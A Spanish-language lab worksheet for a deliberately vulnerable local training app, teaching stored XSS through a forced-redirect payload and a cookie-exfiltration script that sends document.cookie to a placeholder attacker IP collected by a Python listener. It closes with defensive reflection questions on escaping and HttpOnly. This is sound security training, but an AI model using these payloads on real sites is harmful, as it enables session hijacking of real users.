Laboratorio 04b: XSS Almacenado Avanzado

🎯 Objetivo

Explotar una vulnerabilidad de XSS Persistente en el Foro o Chat para realizar ataques avanzados: redirección forzada de usuarios y exfiltración de cookies de sesión a un servidor externo.

📋 Prerrequisitos

  1. Entorno: Cadel Academy en Modo Vulnerable (http://localhost:8080).
  2. Máquina Atacante: Kali Linux (o similar con Python y Burp Suite).

📝 Ejercicio 1: Redirección Maliciosa

Objetivo: Inyectar un script que redirija a cualquier usuario que vea el post a un sitio externo.

  1. Ve al Foro.
  2. Crea un nuevo tema e inyecta en el contenido:
    <script>window.location = "https://www.youtube.com";</script>
  3. Publica y observa cómo eres redirigido inmediatamente.

📝 Ejercicio 2: Exfiltración de Datos (Cookie Stealing)

Objetivo: Robar la cookie de sesión (user_id) de la víctima.

Paso 1: Configurar Listener

En tu máquina atacante, inicia un servidor Python:

python3 -m http.server 8000

Paso 2: Inyección

Inyecta el siguiente script en el Chat o Foro (reemplaza la IP por la tuya):

<script>
  fetch('http://TU_IP:8000/?robado=' + document.cookie);
</script>

Paso 3: Captura

Cuando la víctima vea el mensaje, verás su cookie en los logs de tu terminal Python.


🛡️ Preguntas de Reflexión

  1. ¿Por qué funciona fetch hacia otra IP? Aunque existe CORS, las peticiones simples se envían.
  2. ¿Cómo evita esto el modo 'Seguro'? Escapando los caracteres especiales HTML.
  3. ¿Qué hace la bandera HttpOnly? Impide que JavaScript acceda a document.cookie.